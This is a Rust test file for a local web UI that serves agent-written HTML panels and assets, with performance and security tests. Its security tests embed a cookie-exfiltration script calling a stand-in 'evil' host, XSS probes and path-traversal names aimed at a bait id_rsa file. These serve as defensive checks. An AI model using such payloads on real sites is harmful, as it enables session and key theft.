11047 let calls = std::cell::Cell::new(0usize);
11048 let views = question_views(Vec::new(), &store, || {
11049 calls.set(calls.get() + 1);
11050 None
11051 });
11052 assert!(views.is_empty());
11053 assert_eq!(calls.get(), 0);
11054 }
11055
11056 use pretty_assertions::assert_eq;
11057 use serde_json::Value;
11058 use tempfile::TempDir;
11059 use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
11060
11061 use super::*;
11062 use crate::config::Config;
11063 use crate::queue::Source;
11064
11065 const SETTLE_STEPS: usize = 3_000;
11076
11077 struct Fixture {
11083 home: TempDir,
11084 addr: SocketAddr,
11085 }
11086
11087 impl Fixture {
11088 async fn start() -> Self {
11089 Self::with_loop(launch_idle).await
11090 }
11091
11092 async fn with_loop(launch: Launch) -> Self {
11094 let home = TempDir::new().expect("temp home");
11095 let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch, None).await;
11096 Self { home, addr }
11097 }
11098
11099 async fn with_repo(repo: PathBuf) -> Self {
11103 let home = TempDir::new().expect("temp home");
11104 let addr = Self::serve(home.path(), repo, launch_idle, None).await;
11105 Self { home, addr }
11106 }
11107
11108 async fn with_repo_and_machine(repo: PathBuf, machine: PathBuf) -> Self {
11111 let home = TempDir::new().expect("temp home");
11112 let addr = Self::serve(home.path(), repo, launch_idle, Some(machine)).await;
11113 Self { home, addr }
11114 }
11115
11116 async fn serve(
11117 home: &FsPath,
11118 repo: PathBuf,
11119 launch: Launch,
11120 machine: Option<PathBuf>,
11121 ) -> SocketAddr {
11122 let queue = Queue::at(home.join("queue"));
11123 let runs = home.join("runs");
11124 std::fs::create_dir_all(&runs).expect("runs dir");
11125 let worktrees = home.join("wt").join("magi");
11126 std::fs::create_dir_all(&worktrees).expect("worktrees dir");
11127 let ui = Ui::new(
11128 queue,
11129 Questions::at(home.join("questions")),
11130 Talks::at(home.join("talks")),
11131 runs,
11132 home.to_path_buf(),
11133 repo,
11134 )
11135 .with_worktrees_root(worktrees)
11136 .with_machine_config(machine)
11137 .with_launch(launch);
11138 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
11139 .await
11140 .expect("bind loopback");
11141 let addr = listener.local_addr().expect("local addr");
11142 tokio::spawn(async move {
11143 let router = ui
11144 .router()
11145 .layer(axum::middleware::from_fn(request_cost::observe));
11146 let _ = axum::serve(listener, router).await;
11147 });
11148 addr
11149 }
11150
11151 fn queue(&self) -> Queue {
11152 Queue::at(self.home.path().join("queue"))
11153 }
11154
11155 fn questions(&self) -> Questions {
11156 Questions::at(self.home.path().join("questions"))
11157 }
11158
11159 fn talks(&self) -> Talks {
11160 Talks::at(self.home.path().join("talks"))
11161 }
11162
11163 fn runs(&self) -> PathBuf {
11164 self.home.path().join("runs")
11165 }
11166
11167 async fn get(&self, path: &str) -> Res {
11168 request(self.addr, "GET", path, None).await
11169 }
11170
11171 async fn head(&self, path: &str) -> Res {
11176 request(self.addr, "HEAD", path, None).await
11177 }
11178
11179 async fn post(&self, path: &str, body: Option<&str>) -> Res {
11180 request(self.addr, "POST", path, body).await
11181 }
11182
11183 async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
11184 request_with(self.addr, "GET", path, None, extra).await
11185 }
11186
11187 async fn delete(&self, path: &str) -> Res {
11188 request(self.addr, "DELETE", path, None).await
11189 }
11190
11191 async fn put(&self, path: &str, body: &str) -> Res {
11192 request(self.addr, "PUT", path, Some(body)).await
11193 }
11194
11195 async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
11197 request_bytes(self.addr, path, headers, body).await
11198 }
11199 }
11200
11201 async fn performance_repositories() -> (TempDir, [PathBuf; 2]) {
11204 let tmp = TempDir::new().unwrap();
11205 let mut repos = Vec::new();
11206 for name in ["one", "two"] {
11207 let repo = tmp.path().join(name);
11208 let origin = tmp.path().join(format!("{name}.git"));
11209 std::fs::create_dir_all(&repo).unwrap();
11210 crate::git::git(&repo, &["init", "-b", "main"])
11211 .await
11212 .unwrap();
11213 std::fs::write(
11214 repo.join("magi.toml"),
11215 format!("{MOCK_AGENT_TOML}\n[repos]\nroots = []\n[update]\nmode = \"off\"\n[verify]\ne2e = []\ngate = []\n"),
11216 )
11217 .unwrap();
11218 crate::git::git(&repo, &["add", "magi.toml"]).await.unwrap();
11219 crate::git::git(
11220 &repo,
11221 &[
11222 "-c",
11223 "user.name=fixture",
11224 "-c",
11225 "user.email=fixture@example.invalid",
11226 "commit",
11227 "-m",
11228 "fixture",
11229 ],
11230 )
11231 .await
11232 .unwrap();
11233 crate::git::git(tmp.path(), &["init", "--bare", origin.to_str().unwrap()])
11234 .await
11235 .unwrap();
11236 crate::git::git(
11237 &repo,
11238 &["remote", "add", "origin", origin.to_str().unwrap()],
11239 )
11240 .await
11241 .unwrap();
11242 crate::git::git(&repo, &["push", "origin", "main"])
11243 .await
11244 .unwrap();
11245 crate::git::git(
11246 &repo,
11247 &[
11248 "symbolic-ref",
11249 "refs/remotes/origin/HEAD",
11250 "refs/remotes/origin/main",
11251 ],
11252 )
11253 .await
11254 .unwrap();
11255 let (cfg, _) = Config::discover(&repo, None).unwrap();
11256 assert!(cfg.agents.iter().any(|a| a.id == "mock"));
11257 repos.push(repo);
11258 }
11259 let repos: [PathBuf; 2] = repos.try_into().unwrap();
11260 (tmp, repos)
11261 }
11262
11263 async fn performance_fixture() -> (TempDir, [PathBuf; 2], Fixture) {
11264 let (tmp, repos) = performance_repositories().await;
11265 let machine = tmp.path().join("machine.toml");
11266 std::fs::write(&machine, "").unwrap();
11267 let fx = Fixture::with_repo_and_machine(repos[0].clone(), machine).await;
11268 (tmp, repos, fx)
11269 }
11270
11271 fn seed_performance(
11272 fx: &Fixture,
11273 repos: &[PathBuf; 2],
11274 questions: usize,
11275 runs: usize,
11276 items: usize,
11277 ) {
11278 for i in fx.questions().list().len()..questions {
11280 let mut question = Question::new(
11281 "20261001-000000-0000".into(),
11282 "implement".into(),
11283 "impl-A".into(),
11284 format!("question {i}"),
11285 "context".into(),
11286 vec!["yes".into(), "no".into()],
11287 );
11288 question.id = format!("20261003-000000-{i:04x}");
11289 fx.questions().put(&mut question).unwrap();
11290 }
11291 for i in run_ids(&fx.runs()).len()..runs {
11292 write_run_repo(
11293 &fx.runs(),
11294 &format!("20261001-000000-{i:04x}"),
11295 RunStatus::Ready,
11296 repos[i % 2].to_str().unwrap(),
11297 );
11298 }
11299 for i in fx.talks().list().len()..items {
11300 let id = seed_talk(fx, &format!("20261002-000000-{i:04x}"), "open");
11301 let mut talk = fx.talks().get(&id).unwrap();
11302 talk.repo = repos[i % 2].clone();
11303 fx.talks().put(&mut talk).unwrap();
11304 let mut task = crate::queue::Task::new(
11305 format!("task {i}"),
11306 "instruction".into(),
11307 repos[i % 2].clone(),
11308 crate::queue::Source::Agent {
11309 run: id,
11310 node: crate::queue::CHAT_NODE.into(),
11311 },
11312 );
11313 task.id = format!("20261004-000000-{i:04x}");
11314 fx.queue().put(&mut task).unwrap();
11315 if i < crate::notices::CAP {
11317 Notices::at(fx.home.path().join("notifications"))
11318 .raise(Notice::info(&format!("notice-{i}"), "notification"))
11319 .unwrap();
11320 }
11321 }
11322 assert_eq!(fx.questions().list().len(), questions);
11323 assert_eq!(run_ids(&fx.runs()).len(), runs);
11324 assert_eq!(fx.talks().list().len(), items);
11325 assert_eq!(fx.queue().list().len(), items);
11326 assert_eq!(
11327 Notices::at(fx.home.path().join("notifications"))
11328 .list()
11329 .len(),
11330 items.min(crate::notices::CAP)
11331 );
11332 }
11333
11334 fn request_counts(res: &Res) -> (usize, usize) {
11335 assert_eq!(res.status, 200, "{}", res.body);
11336 (
11337 res.header("x-test-discoveries").unwrap().parse().unwrap(),
11338 res.header("x-test-git").unwrap().parse().unwrap(),
11339 )
11340 }
11341
11342 #[tokio::test]
11343 async fn list_request_cost_is_independent_of_record_count() {
11344 let (_tmp, repos, fx) = performance_fixture().await;
11345 let mut previous = None;
11346 for n in [4, 60] {
11347 seed_performance(&fx, &repos, n, n, n);
11348 let mut costs = Vec::new();
11349 for (path, discoveries) in [
11350 ("/api/questions", 1),
11351 ("/api/talks", 0),
11352 ("/api/health", 0),
11353 ("/api/stats", 1),
11354 ] {
11355 for repo in &repos {
11358 let cache = repo.join(".git/magi/config");
11359 if cache.exists() {
11360 std::fs::remove_dir_all(cache).unwrap();
11361 }
11362 }
11363 let cost = request_counts(&fx.get(path).await);
11364 eprintln!("{path} N={n}: discoveries={} git={}", cost.0, cost.1);
11365 assert_eq!(cost.0, discoveries, "{path}, N={n}");
11366 assert!(
11367 cost.1 <= 40 && (discoveries == 0 || cost.1 > 0),
11368 "{path}: {cost:?}"
11369 );
11370 costs.push(cost);
11371 }
11372 if let Some(previous) = previous {
11373 assert_eq!(costs, previous);
11374 }
11375 previous = Some(costs);
11376 }
11377 }
11381
11382 #[tokio::test]
11385 async fn list_handler_cost_without_transport() {
11386 let (_tmp, repos) = performance_repositories().await;
11387 let fx = Fixture {
11388 home: TempDir::new().unwrap(),
11389 addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
11390 };
11391 let ui = Arc::new(
11392 Ui::new(
11393 fx.queue(),
11394 fx.questions(),
11395 fx.talks(),
11396 fx.runs(),
11397 fx.home.path().to_path_buf(),
11398 repos[0].clone(),
11399 )
11400 .with_worktrees_root(fx.home.path().join("wt")),
11401 );
11402 let mut previous = None;
11403 for (n, runs, items) in [(4, 4, 4), (60, 60, 60), (200, 300, 400)] {
11404 seed_performance(&fx, &repos, n, runs, items);
11405 let mut costs = Vec::new();
11406 for endpoint in ["questions", "talks", "health", "stats"] {
11407 for repo in &repos {
11408 let cache = repo.join(".git/magi/config");
11409 if cache.exists() {
11410 std::fs::remove_dir_all(cache).unwrap();
11411 }
11412 }
11413 let (_, cost) = request_cost::measure(async {
11414 match endpoint {
11415 "questions" => {
11416 let _ = questions_list(State(ui.clone())).await.unwrap();
11417 }
11418 "talks" => {
11419 let _ = talks_list(
11420 State(ui.clone()),
11421 Query(ListQuery {
11422 limit: None,
11423 ids: None,
11424 }),
11425 header::HeaderMap::new(),
11426 )
11427 .await
11428 .unwrap();
11429 }
11430 "health" => {
11431 let _ = health(State(ui.clone())).await.unwrap();
11432 }
11433 _ => {
11434 let _ = stats_get(State(ui.clone()), Query(StatsQuery::default()))
11435 .await
11436 .unwrap();
11437 }
11438 }
11439 })
11440 .await;
11441 eprintln!("{endpoint} handler N={n}: {cost:?}");
11442 assert_eq!(
11443 cost.0,
11444 if matches!(endpoint, "talks" | "health") {
11445 0
11446 } else {
11447 1
11448 },
11449 "{endpoint}"
11450 );
11451 assert!(
11452 cost.1 <= 40 && (matches!(endpoint, "talks" | "health") || cost.1 > 0),
11453 "{endpoint}: {cost:?}"
11454 );
11455 costs.push(cost);
11456 }
11457 if let Some(previous) = previous {
11458 assert_eq!(costs, previous);
11459 }
11460 previous = Some(costs);
11461 }
11462 }
11463
11464 #[tokio::test]
11465 async fn list_request_cost_scopes_do_not_mix() {
11466 let (_tmp, repos, fx) = performance_fixture().await;
11467 seed_performance(&fx, &repos, 10, 0, 10);
11468 let (questions, talks, notices) = tokio::join!(
11469 fx.get("/api/questions"),
11470 fx.get("/api/talks"),
11471 fx.get("/api/notifications")
11472 );
11473 assert_eq!(request_counts(&questions).0, 1);
11474 assert_eq!(request_counts(&talks), (0, 0));
11477 assert_eq!(request_counts(¬ices), (0, 0));
11478 }
11479
11480 #[tokio::test]
11481 async fn list_endpoints_large_home_responses() {
11482 check_large_home_endpoints(false).await;
11483 }
11484
11485 #[tokio::test]
11486 #[ignore = "local wall-clock performance measurement; see docs/web-responsiveness.md"]
11487 async fn list_endpoints_large_home_ceiling() {
11488 check_large_home_endpoints(true).await;
11489 }
11490
11491 async fn check_large_home_endpoints(timed: bool) {
11492 let (_tmp, repos, fx) = performance_fixture().await;
11493 seed_performance(&fx, &repos, 200, 300, 400);
11494 let mut failures = Vec::new();
11495 for path in [
11498 "/",
11499 "/app.js",
11500 "/app.css",
11501 "/api/questions",
11502 "/api/runs?limit=300",
11503 "/api/queue",
11504 "/api/talks",
11505 "/api/notifications",
11506 "/api/health",
11507 "/api/stats",
11508 "/api/loop",
11509 "/api/settings",
11510 "/api/repos",
11511 ] {
11512 let start = std::time::Instant::now();
11513 let result = if timed {
11514 tokio::time::timeout(Duration::from_secs(5), fx.get(path)).await
11515 } else {
11516 Ok(fx.get(path).await)
11517 };
11518 let elapsed = start.elapsed();
11519 eprintln!("{path}: {elapsed:?}");
11520 match result {
11521 Ok(res) if res.status == 200 && (!timed || elapsed <= Duration::from_secs(5)) => {}
11522 Ok(res) => failures.push(format!("{path}: status {}, {elapsed:?}", res.status)),
11523 Err(_) => failures.push(format!("{path}: exceeded 5 seconds ({elapsed:?})")),
11524 }
11525 }
11526 assert!(failures.is_empty(), "{}", failures.join("\n"));
11527 }
11528
11529 struct Res {
11530 status: u16,
11531 headers: String,
11532 head: String,
11537 body: String,
11538 bytes: Vec<u8>,
11542 }
11543
11544 impl Res {
11545 fn json(&self) -> Value {
11546 serde_json::from_str(&self.body)
11547 .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
11548 }
11549
11550 fn header(&self, name: &str) -> Option<&str> {
11552 self.head.lines().find_map(|line| {
11553 let (key, value) = line.split_once(':')?;
11554 key.trim()
11555 .eq_ignore_ascii_case(name)
11556 .then(|| value.trim_start().trim_end_matches('\r'))
11557 })
11558 }
11559 }
11560
11561 async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
11564 request_with(addr, method, path, body, &[]).await
11565 }
11566
11567 async fn request_with(
11571 addr: SocketAddr,
11572 method: &str,
11573 path: &str,
11574 body: Option<&str>,
11575 extra: &[(&str, &str)],
11576 ) -> Res {
11577 let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
11578 for (name, value) in extra {
11579 head.push_str(&format!("{name}: {value}\r\n"));
11580 }
11581 if let Some(body) = body {
11582 head.push_str("Content-Type: application/json\r\n");
11583 head.push_str(&format!("Content-Length: {}\r\n", body.len()));
11584 }
11585 head.push_str("\r\n");
11586 if let Some(body) = body {
11587 head.push_str(body);
11588 }
11589 let mut socket = tokio::net::TcpStream::connect(addr)
11590 .await
11591 .expect("connect to the test server");
11592 socket
11593 .write_all(head.as_bytes())
11594 .await
11595 .expect("write request");
11596 let mut raw = Vec::new();
11597 socket.read_to_end(&mut raw).await.expect("read response");
11598 let split = raw
11601 .windows(4)
11602 .position(|w| w == b"\r\n\r\n")
11603 .expect("a header block");
11604 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
11605 let bytes = raw[split + 4..].to_vec();
11606 let status = head
11607 .lines()
11608 .next()
11609 .and_then(|line| line.split_whitespace().nth(1))
11610 .and_then(|code| code.parse().ok())
11611 .expect("a status line");
11612 Res {
11613 status,
11614 headers: head.to_lowercase(),
11615 head,
11616 body: String::from_utf8_lossy(&bytes).into_owned(),
11617 bytes,
11618 }
11619 }
11620
11621 async fn request_bytes(
11627 addr: SocketAddr,
11628 path: &str,
11629 headers: &[(&str, &str)],
11630 body: &[u8],
11631 ) -> Res {
11632 let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
11633 for (name, value) in headers {
11634 head.push_str(&format!("{name}: {value}\r\n"));
11635 }
11636 head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
11637 let mut socket = tokio::net::TcpStream::connect(addr)
11638 .await
11639 .expect("connect to the test server");
11640 socket
11641 .write_all(head.as_bytes())
11642 .await
11643 .expect("write request head");
11644 socket.write_all(body).await.expect("write request body");
11645 let mut raw = Vec::new();
11646 socket.read_to_end(&mut raw).await.expect("read response");
11647 let split = raw
11648 .windows(4)
11649 .position(|w| w == b"\r\n\r\n")
11650 .expect("a header block");
11651 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
11652 let bytes = raw[split + 4..].to_vec();
11653 let status = head
11654 .lines()
11655 .next()
11656 .and_then(|line| line.split_whitespace().nth(1))
11657 .and_then(|code| code.parse().ok())
11658 .expect("a status line");
11659 Res {
11660 status,
11661 headers: head.to_lowercase(),
11662 head,
11663 body: String::from_utf8_lossy(&bytes).into_owned(),
11664 bytes,
11665 }
11666 }
11667
11668 fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
11670 let mut state = RunState::new(
11671 PathBuf::from("/repo/magi"),
11672 "main".to_owned(),
11673 "0123456789abcdef".to_owned(),
11674 "Add a web UI\n\nMobile first.".to_owned(),
11675 Config::default(),
11676 );
11677 state.id = id.to_owned();
11678 state.status = status;
11679 let dir = runs.join(id);
11680 std::fs::create_dir_all(&dir).expect("run dir");
11681 std::fs::write(
11682 dir.join("run.json"),
11683 serde_json::to_string_pretty(&state).expect("serialize run"),
11684 )
11685 .expect("write run.json");
11686 }
11687
11688 fn write_run_repo(runs: &FsPath, id: &str, status: RunStatus, repo: &str) {
11692 let mut state = RunState::new(
11693 PathBuf::from(repo),
11694 "main".to_owned(),
11695 "0123456789abcdef".to_owned(),
11696 "task".to_owned(),
11697 Config::default(),
11698 );
11699 state.id = id.to_owned();
11700 state.status = status;
11701 let dir = runs.join(id);
11702 std::fs::create_dir_all(&dir).expect("run dir");
11703 std::fs::write(
11704 dir.join("run.json"),
11705 serde_json::to_string_pretty(&state).expect("serialize run"),
11706 )
11707 .expect("write run.json");
11708 }
11709
11710 fn write_daemon(home: &FsPath, updated_at: Timestamp) {
11711 let body = serde_json::json!({
11712 "schema": 1,
11713 "pid": 4242,
11714 "started_at": Timestamp::now().to_string(),
11715 "updated_at": updated_at.to_string(),
11716 "idle": false,
11717 "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
11718 "completed": 7,
11719 "polls": 143,
11720 });
11721 std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
11722 }
11723
11724 fn launch_idle(
11734 _opts: daemon::Opts,
11735 stop: daemon::Stop,
11736 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
11737 Box::pin(async move {
11738 while !stop.stopped() {
11739 tokio::time::sleep(Duration::from_millis(2)).await;
11740 }
11741 Ok(())
11742 })
11743 }
11744
11745 fn launch_broken(
11748 _opts: daemon::Opts,
11749 _stop: daemon::Stop,
11750 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
11751 static CALLS: std::sync::atomic::AtomicUsize = std::sync::atomic::AtomicUsize::new(0);
11756 let first = CALLS.fetch_add(1, std::sync::atomic::Ordering::SeqCst) == 0;
11757 Box::pin(async move {
11758 Err(anyhow::anyhow!(if first {
11759 "publish the daemon status file: read-only file system"
11760 } else {
11761 "the restarted stand-in failed as well"
11762 }))
11763 })
11764 }
11765
11766 async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
11775 for _ in 0..SETTLE_STEPS {
11776 let view = fx.get("/api/loop").await.json();
11777 if want(&view) {
11778 return view;
11779 }
11780 tokio::time::sleep(Duration::from_millis(10)).await;
11781 }
11782 panic!(
11783 "the loop never settled: {}",
11784 fx.get("/api/loop").await.json()
11785 );
11786 }
11787
11788 fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
11790 let store = fx.questions();
11791 let mut q = Question::new(
11792 "20260902-000000-beef".to_owned(),
11793 "implement".to_owned(),
11794 "impl-A".to_owned(),
11795 summary.to_owned(),
11796 "because it matters".to_owned(),
11797 choices.iter().map(|c| (*c).to_owned()).collect(),
11798 );
11799 store.put(&mut q).expect("put question");
11800 q.id
11801 }
11802
11803 fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
11809 let store = fx.questions();
11810 let mut q = Question::new(
11811 "20260902-000000-beef".to_owned(),
11812 "land".to_owned(),
11813 "fix".to_owned(),
11814 "Merge this?".to_owned(),
11815 "the diff is in the panel".to_owned(),
11816 vec!["merge".to_owned(), "hold".to_owned()],
11817 );
11818 let staging = fx.home.path().join("staging");
11821 std::fs::create_dir_all(&staging).expect("staging dir");
11822 let sources: Vec<PathBuf> = assets
11823 .iter()
11824 .map(|(name, bytes)| {
11825 let path = staging.join(name);
11826 std::fs::write(&path, bytes).expect("write staged asset");
11827 path
11828 })
11829 .collect();
11830 store
11831 .put_panel(&mut q, html, &sources)
11832 .expect("write the panel");
11833 store.put(&mut q).expect("put question");
11834 q.id
11835 }
11836
11837 fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
11846 seed_talk_at(&fx.talks(), id, status)
11847 }
11848
11849 fn seed_talk_at(store: &Talks, id: &str, status: &str) -> String {
11850 std::fs::create_dir_all(store.root()).expect("talks dir");
11851 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
11852 .expect("serialize a seat");
11853 let body = serde_json::json!({
11854 "schema": 1,
11855 "id": id,
11856 "repo": "/repo/magi",
11857 "agent": "mock",
11858 "status": status,
11859 "turns": [],
11860 "created_at": Timestamp::now().to_string(),
11861 "updated_at": Timestamp::now().to_string(),
11862 "seat": seat,
11863 });
11864 std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
11865 store.get(id).expect("the seeded talk has to be readable");
11866 id.to_owned()
11867 }
11868
11869 #[tokio::test]
11870 async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
11871 let fx = Fixture::start().await;
11872 let id = panel(
11873 &fx,
11874 "<h1>Merge?</h1><img src=\"diff.svg\">",
11875 &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
11876 );
11877
11878 for path in [
11879 format!("/api/questions/{id}/panel"),
11880 format!("/api/questions/{id}/asset/diff.svg"),
11881 ] {
11882 let res = fx.get(&path).await;
11883 assert_eq!(res.status, 200, "{path}: {}", res.body);
11884 assert_eq!(
11890 res.header("content-security-policy"),
11891 Some(
11892 "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
11893 font-src data:; base-uri 'none'; form-action 'none'; \
11894 frame-ancestors 'self'"
11895 ),
11896 "{path} is the only thing between a hostile panel and the tailnet"
11897 );
11898 assert_eq!(
11899 res.header("x-content-type-options"),
11900 Some("nosniff"),
11901 "{path}: a browser must not re-decide the type we sent"
11902 );
11903 assert_eq!(
11904 res.header("referrer-policy"),
11905 Some("no-referrer"),
11906 "{path}: a panel must not leak the question id off the machine"
11907 );
11908
11909 let pre = fx.head(&path).await;
11914 assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
11915 assert_eq!(
11916 pre.header("content-security-policy"),
11917 res.header("content-security-policy"),
11918 "{path}: the preflight carries the same policy"
11919 );
11920 assert_eq!(
11921 pre.header("content-type"),
11922 res.header("content-type"),
11923 "{path}: the preflight carries the same type"
11924 );
11925 }
11926 }
11927
11928 #[tokio::test]
11929 async fn a_panel_reaches_the_browser_byte_for_byte() {
11930 let fx = Fixture::start().await;
11931 let html = "<h1>Merge?</h1><p>a < b — 変更</p><script>alert(1)</script>";
11936 let id = panel(&fx, html, &[]);
11937
11938 let res = fx.get(&format!("/api/questions/{id}/panel")).await;
11939
11940 assert_eq!(res.status, 200);
11941 assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
11942 assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
11943 assert_eq!(
11944 res.header("content-disposition"),
11945 None,
11946 "the panel itself is rendered in the frame, not downloaded"
11947 );
11948 }
11949
11950 #[tokio::test]
11951 async fn an_svg_asset_is_a_download_and_a_png_is_not() {
11952 let fx = Fixture::start().await;
11953 let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
11954 let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
11955 let id = panel(
11956 &fx,
11957 "<img src=\"diff.svg\"><img src=\"shot.png\">",
11958 &[("diff.svg", svg), ("shot.png", png)],
11959 );
11960
11961 let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
11962 let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
11963
11964 assert_eq!(as_svg.status, 200);
11965 assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
11966 assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
11971
11972 assert_eq!(as_png.status, 200);
11973 assert_eq!(as_png.header("content-type"), Some("image/png"));
11974 assert_eq!(
11975 as_png.header("content-disposition"),
11976 None,
11977 "a raster image has no execution surface, so tapping it still shows it"
11978 );
11979 assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
11980 }
11981
11982 #[tokio::test]
11983 async fn an_html_asset_is_never_served_as_html() {
11984 let fx = Fixture::start().await;
11985 let id = panel(
11986 &fx,
11987 "<p>see the notes</p>",
11988 &[
11989 (
11990 "notes.html",
11991 b"<script>fetch('http://evil/'+document.cookie)</script>",
11992 ),
11993 ("hook.js", b"fetch('http://evil/')"),
11994 ("data.json", b"{}"),
11995 ("HEADLINE.TXT", b"plain"),
11996 ],
11997 );
11998
11999 for name in ["notes.html", "hook.js", "data.json"] {
12000 let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
12001 assert_eq!(res.status, 200, "{name}: {}", res.body);
12002 assert_eq!(
12007 res.header("content-type"),
12008 Some("application/octet-stream"),
12009 "{name} must not be a type the browser will execute or render"
12010 );
12011 }
12012 let txt = fx
12015 .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
12016 .await;
12017 assert_eq!(
12018 txt.header("content-type"),
12019 Some("text/plain; charset=utf-8")
12020 );
12021 }
12022
12023 #[tokio::test]
12024 async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
12025 let fx = Fixture::start().await;
12026 let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
12027 std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
12031
12032 for encoded in [
12039 "%2e%2e%2fid_rsa",
12040 "..%2fid_rsa",
12041 "..%5cid_rsa",
12042 "%2e%2e%5cid_rsa",
12043 "diff%00.svg",
12044 "..",
12045 ".hidden",
12046 "%2e%2e%2f%2e%2e%2fid_rsa",
12047 ] {
12048 let res = fx
12049 .get(&format!("/api/questions/{id}/asset/{encoded}"))
12050 .await;
12051 assert_eq!(
12052 res.status, 400,
12053 "`{encoded}` has to be refused by name, not looked up: {}",
12054 res.body
12055 );
12056 assert!(res.json()["error"].is_string(), "{}", res.body);
12057 }
12058
12059 for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
12065 let res = fx
12066 .get(&format!("/api/questions/{id}/asset/{literal}"))
12067 .await;
12068 assert_eq!(
12069 res.status, 404,
12070 "`{literal}` must not match the asset route at all: {}",
12071 res.body
12072 );
12073 }
12074 }
12075
12076 #[tokio::test]
12077 async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
12078 let fx = Fixture::start().await;
12079 let plain = ask(&fx, "Which backend?", &["SQLite"]);
12080 let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
12081
12082 let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
12086 assert_eq!(none.status, 404, "{}", none.body);
12087 assert!(none.json()["error"].is_string(), "{}", none.body);
12088 assert_eq!(
12089 fx.head(&format!("/api/questions/{plain}/panel"))
12090 .await
12091 .status,
12092 404,
12093 "the preflight is the only way the client can learn this"
12094 );
12095
12096 let missing = fx
12098 .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
12099 .await;
12100 assert_eq!(missing.status, 404, "{}", missing.body);
12101 assert!(missing.json()["error"].is_string(), "{}", missing.body);
12102
12103 assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
12105 assert_eq!(
12106 fx.get("/api/questions/nope/asset/diff.svg").await.status,
12107 404
12108 );
12109 }
12110
12111 #[tokio::test]
12112 async fn a_run_with_an_open_question_reads_as_waiting() {
12113 let fx = Fixture::start().await;
12114 let run = "20260902-000000-beef".to_owned();
12115 write_run(&fx.runs(), &run, RunStatus::Implementing);
12116
12117 let before = fx.get("/api/runs").await.json();
12118 assert_eq!(before[0]["waiting"], false, "{before}");
12119
12120 let store = fx.questions();
12121 let mut q = Question::new(
12122 run.clone(),
12123 "implement".to_owned(),
12124 "impl-A".to_owned(),
12125 "Which backend?".to_owned(),
12126 String::new(),
12127 vec!["SQLite".to_owned()],
12128 );
12129 store.put(&mut q).expect("put");
12130
12131 let during = fx.get("/api/runs").await.json();
12132 assert_eq!(during[0]["waiting"], true, "{during}");
12133
12134 q.answer(Answer::Choice("SQLite".to_owned()))
12137 .expect("answer");
12138 store.put(&mut q).expect("put");
12139 let after = fx.get("/api/runs").await.json();
12140 assert_eq!(after[0]["waiting"], false, "{after}");
12141 }
12142
12143 #[tokio::test]
12144 async fn an_open_question_is_listed_and_counted_by_health() {
12145 let fx = Fixture::start().await;
12146 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
12147
12148 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12149 let listed = fx.get("/api/questions").await.json();
12150 assert_eq!(listed.as_array().expect("array").len(), 1);
12151 assert_eq!(listed[0]["id"], id);
12152 assert_eq!(listed[0]["status"], "open");
12153 assert_eq!(listed[0]["choices"][1], "Redis");
12154 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
12157 }
12158
12159 fn obsolete_approval_state() -> RunState {
12160 let mut state = crate::land::tests::repair_state(true, true);
12161 state.pr = Some(crate::run::PrRecord {
12162 url: "https://github.com/example/repo/pull/42".into(),
12163 number: 42,
12164 state: "open".into(),
12165 checks: "green".into(),
12166 round: 1,
12167 rounds: 4,
12168 red_at_merge: Vec::new(),
12169 });
12170 state
12171 }
12172
12173 #[tokio::test]
12174 async fn obsolete_approval_answer_handler_persists_retirement_for_each_owner_shape() {
